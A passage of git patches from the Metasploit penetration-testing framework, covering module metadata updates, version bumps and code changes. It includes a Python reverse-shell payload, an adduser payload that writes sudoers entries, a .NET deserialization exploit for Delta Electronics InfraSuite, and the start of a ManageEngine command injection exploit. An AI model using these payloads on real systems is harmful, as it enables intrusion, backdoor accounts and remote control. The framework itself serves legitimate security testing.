+= ";[ -f /etc/sudoers ]&&(echo \'#{user} ALL=(ALL:ALL) ALL\'>>/etc/sudoers)" + else + payload_cmd += ";echo \'#{user} ALL=(ALL:ALL) ALL\'>>/etc/sudoers" end - payload_cmd += ";echo \'#{user} ALL=(ALL:ALL) ALL\'>>/etc/sudoers" end payload_cmd end From c336f179d63dc870ed3392bb0776f52d5f16d985 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Thu, 1 Jun 2023 11:32:39 -0400 Subject: [PATCH 256/415] Gave rootmethod option better description Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com> --- modules/payloads/singles/cmd/unix/adduser.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/singles/cmd/unix/adduser.rb b/modules/payloads/singles/cmd/unix/adduser.rb index abd5eba5fb14b..babf2df671322 100644 --- a/modules/payloads/singles/cmd/unix/adduser.rb +++ b/modules/payloads/singles/cmd/unix/adduser.rb @@ -45,8 +45,8 @@ def initialize(info = {}) register_advanced_options( [ - OptEnum.new('RootMethod', [false, 'Set the method that the new user can obtain root', 'SUDO', ['SUID', 'SUDO', 'NONE']]), - OptBool.new('CheckSudoers', [false, 'Add lines to only add to sudoers if file exists', true], conditions: %w[RootMethod == SUDO]) + OptEnum.new('RootMethod', [false, 'The method to obtain root with the new user', 'SUDO', ['SUID', 'SUDO', 'NONE']]), + OptBool.new('CheckSudoers', [false, 'Check if the sudoers file exists before modifying it', true], conditions: %w[RootMethod == SUDO]) ] ) end From 2c987da8e11ba16fe277a62adce243991800c54d Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 1 Jun 2023 11:11:29 -0500 Subject: [PATCH 257/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 140 ++++++++++++++++++++++++++++++++++ 1 file changed, 140 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 0d508b2d561c2..80d62817bcac6 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -10844,6 +10844,53 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_cloud/aws/enum_ssm": { + "name": "Amazon Web Services EC2 instance enumeration", + "fullname": "auxiliary/cloud/aws/enum_ssm", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "RageLtMan " + ], + "description": "Provided AWS credentials, this module will call the authenticated\n API of Amazon Web Services to list all SSM-enabled EC2 instances\n accessible to the account. Once enumerated as SSM-enabled, the\n instances can be controlled using out-of-band WebSocket sessions\n provided by the AWS API (nominally, privileged out of the box).\n This module provides not only the API enumeration identifying EC2\n instances accessible via SSM with given credentials, but enables\n session initiation for all identified targets (without requiring\n target-level credentials) using the CreateSession mixin option.\n The module also provides an EC2 ID filter and a limiting throttle\n to prevent session stampedes or expensive messes.", + "references": [ + + ], + "platform": "", + "arch": "", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2023-05-22 17:11:16 +0000", + "path": "/modules/auxiliary/cloud/aws/enum_ssm.rb", + "is_install_path": true, + "ref_name": "cloud/aws/enum_ssm", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [ + + ], + "Stability": [ + "crash-safe" + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_cloud/kubernetes/enum_kubernetes": { "name": "Kubernetes Enumeration", "fullname": "auxiliary/cloud/kubernetes/enum_kubernetes", @@ -25916,6 +25963,65 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_scanner/http/archer_c7_traversal": { + "name": "Archer C7 Directory Traversal Vulnerability", + "fullname": "auxiliary/scanner/http/archer_c7_traversal", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2015-04-08", + "type": "auxiliary", + "author": [ + "Nick Cottrell ", + "Anna Graterol ", + "Mana Mostaani " + ], + "description": "This module exploits a directory traversal vulnerability in the PATH_INFO found at /login/\n on TP-Link Archer C5, C7, and C9 routers of varying versions.", + "references": [ + "BID-74050 ", + "CVE-2015-3035" + ], + "platform": "", + "arch": "", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2023-05-17 12:39:02 +0000", + "path": "/modules/auxiliary/scanner/http/archer_c7_traversal.rb", + "is_install_path": true, + "ref_name": "scanner/http/archer_c7_traversal", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_scanner/http/atlassian_crowd_fileaccess": { "name": "Atlassian Crowd XML Entity Expansion Remote File Access", "fullname": "auxiliary/scanner/http/atlassian_crowd_fileaccess", @@ -201253,6 +201359,40 @@ "session_types": false, "needs_cleanup": false }, + "payload_generic/shell_bind_aws_ssm": { + "name": "Command Shell, Bind SSM (via AWS API)", + "fullname": "payload/generic/shell_bind_aws_ssm", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell using AWS SSM", + "references": [ + + ], + "platform": "All", + "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-04-18 16:41:48 +0000", + "path": "/modules/payloads/singles/generic/shell_bind_aws_ssm.rb", + "is_install_path": true, + "ref_name": "generic/shell_bind_aws_ssm", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, "payload_generic/shell_bind_tcp": { "name": "Generic Command Shell, Bind TCP Inline", "fullname": "payload/generic/shell_bind_tcp", From 4183cd444d008ec0aba2a3beac574c6de50b0e21 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Thu, 1 Jun 2023 12:30:26 -0400 Subject: [PATCH 258/415] Added unixcrypt to payload --- modules/payloads/singles/cmd/unix/adduser.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/payloads/singles/cmd/unix/adduser.rb b/modules/payloads/singles/cmd/unix/adduser.rb index babf2df671322..3db8de897f0d0 100644 --- a/modules/payloads/singles/cmd/unix/adduser.rb +++ b/modules/payloads/singles/cmd/unix/adduser.rb @@ -3,6 +3,8 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'unix_crypt' + module MetasploitModule CachedSize = :dynamic From 96f2c96a75243a616405050a1391bd68d50ae251 Mon Sep 17 00:00:00 2001 From: Zach Goldman Date: Thu, 1 Jun 2023 11:51:59 -0500 Subject: [PATCH 259/415] modify command stagers to not go over 100% --- lib/msf/core/exploit/cmd_stager.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/cmd_stager.rb b/lib/msf/core/exploit/cmd_stager.rb index e161f3e7cb5bc..e4a25c90ba93e 100644 --- a/lib/msf/core/exploit/cmd_stager.rb +++ b/lib/msf/core/exploit/cmd_stager.rb @@ -93,14 +93,16 @@ def execute_cmdstager(opts = {}) sent = 0 total_bytes = 0 - cmd_list.each { |cmd| total_bytes += cmd.length } + cmd_list.each { |cmd| total_bytes += cmd.bytesize } delay = opts[:delay] delay ||= 0.25 cmd_list.each do |cmd| + # calculate string beforehand length in case exploit mutates string + command_length = cmd.bytesize execute_command(cmd, opts) - sent += cmd.length + sent += command_length # In cases where a server has multiple threads, we want to be sure that # commands we execute happen in the correct (serial) order. From 25e8cf8faf56059a6320e0e4df9c78e595f83293 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 1 Jun 2023 12:10:08 -0500 Subject: [PATCH 260/415] Bump version of framework to 6.3.20 --- Gemfile.lock | 2 +- LICENSE_GEMS | 3 ++- lib/metasploit/framework/version.rb | 2 +- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 97363f22f5014..31c80db4599c7 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (6.3.19) + metasploit-framework (6.3.20) actionpack (~> 7.0) activerecord (~> 7.0) activesupport (~> 7.0) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 2f6379e576f8e..a7f13dc862849 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -16,6 +16,7 @@ aws-sdk-ec2, 1.375.0, "Apache 2.0" aws-sdk-iam, 1.77.0, "Apache 2.0" aws-sdk-kms, 1.63.0, "Apache 2.0" aws-sdk-s3, 1.120.1, "Apache 2.0" +aws-sdk-ssm, 1.146.0, "Apache 2.0" aws-sigv4, 1.5.2, "Apache 2.0" bcrypt, 3.1.18, MIT bcrypt_pbkdf, 1.1.0, MIT @@ -72,7 +73,7 @@ memory_profiler, 1.0.1, MIT metasm, 1.0.5, LGPL-2.1 metasploit-concern, 5.0.1, "New BSD" metasploit-credential, 6.0.5, "New BSD" -metasploit-framework, 6.3.19, "New BSD" +metasploit-framework, 6.3.20, "New BSD" metasploit-model, 5.0.1, "New BSD" metasploit-payloads, 2.0.130, "3-clause (or ""modified"") BSD" metasploit_data_models, 6.0.2, "New BSD" diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 721ed0e4bcb5e..6d64c69e97b3a 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -32,7 +32,7 @@ def self.get_hash end end - VERSION = "6.3.19" + VERSION = "6.3.20" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From d535bb87ada18aae033a5304d9d6b9165344ac33 Mon Sep 17 00:00:00 2001 From: Ryuuuuu <33323678+Ryuuuuu@users.noreply.github.com> Date: Wed, 12 Apr 2023 16:02:43 +0900 Subject: [PATCH 261/415] Fix up logic to handle check_host return codes --- .../scanner/http/ms15_034_http_sys_memory_dump.rb | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb index b9f5067e5a3ee..9498bd73825b0 100644 --- a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb +++ b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb @@ -162,11 +162,19 @@ def calc_ranges(content_length) def run_host(ip) begin - if check_host(ip) == Exploit::CheckCode::Safe - print_error("Target is not vulnerable") + vuln_status = check_host(ip) + case vuln_status + when Exploit::CheckCode::Safe + print_error('Target is not vulnerable') return + when Exploit::CheckCode::Unknown + print_error('An unknown error occurred when trying to check the target! Observe the traffic with HTTPTrace turned on and try to debug.') + return + when Exploit::CheckCode::Vulnerable + print_good('Target is vulnerable!') else - print_good("Target may be vulnerable...") + print_error('An unknown status code was returned from check_host!') + return end content_length = get_file_size From c6816fceecae4f3ff63c68a1684fe7789d2d979e Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Thu, 1 Jun 2023 15:49:46 +0100 Subject: [PATCH 262/415] Update post agther aws keys to run against linux --- modules/post/multi/gather/aws_keys.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/post/multi/gather/aws_keys.rb b/modules/post/multi/gather/aws_keys.rb index 5b54f13ac56c5..ce50726d4b8ba 100644 --- a/modules/post/multi/gather/aws_keys.rb +++ b/modules/post/multi/gather/aws_keys.rb @@ -24,6 +24,7 @@ def initialize(info = {}) }, 'License' => MSF_LICENSE, 'Author' => [ 'Jon Hart ' ], + 'Platform' => ['linux', 'osx', 'unix', 'solaris', 'bsd'], 'SessionTypes' => %w[shell meterpreter], 'References' => [ [ 'URL', 'http://s3tools.org/kb/item14.htm' ], From f6dc2c007a6f10d4d934d5e88ceb8b2a4131ce15 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Thu, 1 Jun 2023 12:38:20 -0500 Subject: [PATCH 263/415] Fix up messages to more closely match check code messages and fix typos --- .../auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb index 9498bd73825b0..8e006730a82ae 100644 --- a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb +++ b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb @@ -165,13 +165,13 @@ def run_host(ip) vuln_status = check_host(ip) case vuln_status when Exploit::CheckCode::Safe - print_error('Target is not vulnerable') + print_error('The target is not exploitable.') return when Exploit::CheckCode::Unknown - print_error('An unknown error occurred when trying to check the target! Observe the traffic with HTTPTrace turned on and try to debug.') + print_error('Cannot reliably check exploitability! Observe the traffic with HTTPTrace turned on and try to debug.') return when Exploit::CheckCode::Vulnerable - print_good('Target is vulnerable!') + print_good('The target is vulnerable.') else print_error('An unknown status code was returned from check_host!') return From 9b929dab14d38f87feac184c2f2adce93fba4b5c Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 1 Jun 2023 15:28:09 -0500 Subject: [PATCH 264/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 80d62817bcac6..3334bc72bc56b 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -33335,7 +33335,7 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2023-06-01 12:38:20 +0000", "path": "/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb", "is_install_path": true, "ref_name": "scanner/http/ms15_034_http_sys_memory_dump", From a66641da55b96c138552c06d6da3f221c6044d8e Mon Sep 17 00:00:00 2001 From: space-r7 Date: Thu, 1 Jun 2023 17:57:57 -0500 Subject: [PATCH 265/415] add delta electronics infrasuite deserialization --- ..._electronics_infrasuite_deserialization.rb | 75 +++++++++++++++++++ 1 file changed, 75 insertions(+) create mode 100644 modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb diff --git a/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb b/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb new file mode 100644 index 0000000000000..fedef6eed7784 --- /dev/null +++ b/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb @@ -0,0 +1,75 @@ +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Powershell + include Msf::Exploit::Remote::Udp + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => '', + 'Description' => %q{ + }, + 'Author' => [ + 'Anonymous', # Vulnerability discovery + 'Shelby Pace' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2023-1133'], + ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-672/'] + ], + 'Platform' => 'win', + 'Targets' => [ + [ + 'Windows EXE Dropper', + { + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :windows_dropper, + 'DefaultOptions' => { 'PrependMigrate' => true } + } + ], + [ + 'Windows CMD', + { + 'Arch' => [ARCH_CMD], + 'Type' => :windows_cmd + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-05-17', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + }, + 'Privileged' => true + ) + ) + + register_options([ Opt::RPORT(10100) ]) + end + + def check + CheckCode::Vulnerable + end + + def exploit + connect_udp + serialized = ::Msf::Util::DotNetDeserialization.generate( + payload.encoded, + gadget_chain: :ClaimsPrincipal, + formatter: :BinaryFormatter + ) + + pkt = "\x01#{[ serialized.length ].pack('n')}#{serialized}" + udp_sock.put(pkt) + end +end From da2e339ae890868e2d7756e2ecae15ec5ce66614 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 2 Jun 2023 05:15:44 -0400 Subject: [PATCH 266/415] review adjustments --- .../scanner/http/gitlab_authenticated_subgroups_file_read.md | 2 +- .../scanner/http/gitlab_authenticated_subgroups_file_read.rb | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.md b/documentation/modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.md index 913ffdbea25d9..a7b138ebb988d 100644 --- a/documentation/modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.md +++ b/documentation/modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.md @@ -38,7 +38,7 @@ sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password 1. Install the application 1. Start msfconsole -1. Do: `use auxiliary/scanner/http/gitlab_subgroups_file_read` +1. Do: `use auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read` 1. Do: `set rhosts [ip]` 1. Do: `set username [username]` 1. DO: `set password [password]` diff --git a/modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.rb b/modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.rb index c5f27d06b57e4..1697ed8d33adf 100644 --- a/modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.rb +++ b/modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.rb @@ -67,6 +67,8 @@ def check_host(_ip) # check method almost entirely borrowed from gitlab_github_import_rce_cve_2022_2992 self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie + raise Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError if cookie.nil? + vprint_status('Trying to get the GitLab version') version = Rex::Version.new(gitlab_version) @@ -91,6 +93,8 @@ def check_host(_ip) def run_host(ip) self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie + fail_with(Failure::NoAccess, 'Unable to retrieve cookie') if cookie.nil? + # get our csrf token res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) From f8460dcdd256c28d9ea51212f9f2016d26312034 Mon Sep 17 00:00:00 2001 From: manishkumarr1017 Date: Fri, 2 Jun 2023 14:43:09 +0530 Subject: [PATCH 267/415] PR Review changes for removing platform specific code --- modules/payloads/singles/python/shell_reverse_tcp.rb | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/modules/payloads/singles/python/shell_reverse_tcp.rb b/modules/payloads/singles/python/shell_reverse_tcp.rb index e2e4c234230d9..bacf5afd36777 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp.rb @@ -45,17 +45,13 @@ def command_string cmd = <<~PYTHON import socket as s import subprocess as r - import platform so=s.socket(s.AF_INET,s.SOCK_STREAM) so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']})) while True: d=so.recv(1024) if len(d)==0: - break - if platform.system()=='Windows': - p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) - else: - p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) + break + p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) o=p.stdout.read()+p.stderr.read() so.send(o) PYTHON From 48b86c257810e368c6e897622707ab74436cb7f6 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 2 Jun 2023 06:11:26 -0500 Subject: [PATCH 268/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 3334bc72bc56b..aa11b2a868fa1 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -178749,6 +178749,40 @@ "session_types": false, "needs_cleanup": false }, + "payload_cmd/unix/adduser": { + "name": "Add user with useradd", + "fullname": "payload/cmd/unix/adduser", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Nick Cottrell " + ], + "description": "Creates a new user. By default the new user is set with sudo\n but other options exist to make the new user automatically\n root but this is not automatically set since the new user will\n be treated as root (and login may be difficult). The new user\n can also be set as just a standard user if desired.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-01 12:30:26 +0000", + "path": "/modules/payloads/singles/cmd/unix/adduser.rb", + "is_install_path": true, + "ref_name": "cmd/unix/adduser", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, "payload_cmd/unix/bind_awk": { "name": "Unix Command Shell, Bind TCP (via AWK)", "fullname": "payload/cmd/unix/bind_awk", From a6f1be8efd1275ec11cc96160b01ea90eb54b8ed Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 2 Jun 2023 09:07:18 -0400 Subject: [PATCH 269/415] Add new payloads to payloads_spec.rb --- spec/modules/payloads_spec.rb | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index bae55470ea0cb..c86713e49c3c1 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -508,6 +508,30 @@ reference_name: 'bsdi/x86/shell_reverse_tcp' end + context 'cmd/linux/http/mips64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/http/mips64' + ], + reference_name: 'cmd/linux/http/mips64' + end + + context 'cmd/linux/https/mips64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/https/mips64' + ], + reference_name: 'cmd/linux/https/mips64' + end + + context 'cmd/linux/tftp/mips64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/tftp/mips64' + ], + reference_name: 'cmd/linux/tftp/mips64' + end + context 'cmd/linux/http/x64' do it_should_behave_like 'payload is not cached', ancestor_reference_names: [ From 93614513ec4a6463ebc9cd4fae6c89320c7df238 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 2 Jun 2023 08:43:07 -0500 Subject: [PATCH 270/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index aa11b2a868fa1..48a24a705f108 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -223096,13 +223096,13 @@ "URL-http://s3tools.org/kb/item14.htm", "URL-http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html#cli-config-files" ], - "platform": "", + "platform": "BSD,Linux,OSX,Solaris,Unix", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-10-08 09:50:25 +0000", + "mod_time": "2023-06-01 15:49:46 +0000", "path": "/modules/post/multi/gather/aws_keys.rb", "is_install_path": true, "ref_name": "multi/gather/aws_keys", From 372f9cdcfc97c7f87572742a676abd7ddc979f94 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 2 Jun 2023 09:49:57 -0400 Subject: [PATCH 271/415] Update metasploit-payloads gem to 2.0.135 Includes changes from: * rapid7/metasploit-payloads#648 * rapid7/metasploit-payloads#637 * rapid7/metasploit-payloads#646 * rapid7/metasploit-payloads#645 * rapid7/metasploit-payloads#643 * rapid7/metasploit-payloads#640 --- Gemfile.lock | 4 ++-- LICENSE_GEMS | 2 +- metasploit-framework.gemspec | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 31c80db4599c7..fdcd7622ca778 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -32,7 +32,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 2.0.130) + metasploit-payloads (= 2.0.135) metasploit_data_models metasploit_payloads-mettle (= 1.0.20) mqtt @@ -258,7 +258,7 @@ GEM activemodel (~> 7.0) activesupport (~> 7.0) railties (~> 7.0) - metasploit-payloads (2.0.130) + metasploit-payloads (2.0.135) metasploit_data_models (6.0.2) activerecord (~> 7.0) activesupport (~> 7.0) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index a7f13dc862849..fe6306ce720a1 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -75,7 +75,7 @@ metasploit-concern, 5.0.1, "New BSD" metasploit-credential, 6.0.5, "New BSD" metasploit-framework, 6.3.20, "New BSD" metasploit-model, 5.0.1, "New BSD" -metasploit-payloads, 2.0.130, "3-clause (or ""modified"") BSD" +metasploit-payloads, 2.0.135, "3-clause (or ""modified"") BSD" metasploit_data_models, 6.0.2, "New BSD" metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD" method_source, 1.0.0, MIT diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 48d4cab7575da..e8aa4d49958bb 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -72,7 +72,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '2.0.130' + spec.add_runtime_dependency 'metasploit-payloads', '2.0.135' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.20' # Needed by msfgui and other rpc components From 6d066dc649ab638ef98c741760c2da81fbb5a077 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Mon, 22 May 2023 19:45:45 -0500 Subject: [PATCH 272/415] Add in initial copy of exploit --- ..._plus_cve_2023_29084_auth_cmd_injection.rb | 214 ++++++++++++++++++ 1 file changed, 214 insertions(+) create mode 100644 modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb diff --git a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb new file mode 100644 index 0000000000000..adec2befea77f --- /dev/null +++ b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb @@ -0,0 +1,214 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'ManageEngine ADManager Plus ChangePasswordAction Authenticated Command Injection', + 'Description' => %q{ + This module exploits CVE-2023-29084, an authenticated command injection vulnerability in the + ChangePasswordAction functionality whereby user input is not appropriately validated before being inserted + into an string that is later used as a command to execute on the target system. + + By injecting into the USERNAME or PASSWORD fields of the request, an attacker can use this vulnerability + to execute code in the context of the user running ManageEngine ADManager Plus, which will typically be + the local administrator. + }, + 'Author' => [ + 'Simon Humbert', # Disclosure of bug via ZDI + 'Dinh Hoang', # Aka hnd3884. Writeup and PoC + 'Grant Willcox', # Metasploit module + ], + 'References' => [ + ['CVE', '2023-29084'], + ['URL', 'https://hnd3884.github.io/posts/CVE-2023-29084-Command-injection-in-ManageEngine-ADManager-plus/'], # Writeup + ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-438/'], + ['URL', 'https://www.manageengine.com/products/ad-manager/admanager-kb/cve-2023-29084.html'], # Advisory + ], + 'DisclosureDate' => '2023-04-12', + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD], + 'Privileged' => true, + 'Payload' => { + 'BadChars' => "\x00\x0a\x0d\x22" # Avoid double quotes, aka 0x22, and a few other common bad chars. + }, + 'Targets' => [ + [ + 'Windows Dropper', + { + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'Type' => :win_dropper, + 'CmdStagerFlavor' => :psh_invokewebrequest, + 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp' } + } + ], + [ + 'Windows Command', + { + 'Arch' => ARCH_CMD, + 'Type' => :win_cmd, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } + } + ], + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 8080 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + end + + def login(username, password) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'j_security_check'), + 'method' => 'POST', + 'vars_get' => { + 'LogoutFromSSO' => 'true' + }, + 'vars_post' => { + 'is_admp_pass_encrypted' => 'false', # Optional but better to keep it in here to match normal request. + 'j_username' => username, + 'j_password' => password, + 'domainName' => 'ADManager Plus Authentication', + 'AUTHRULE_NAME' => 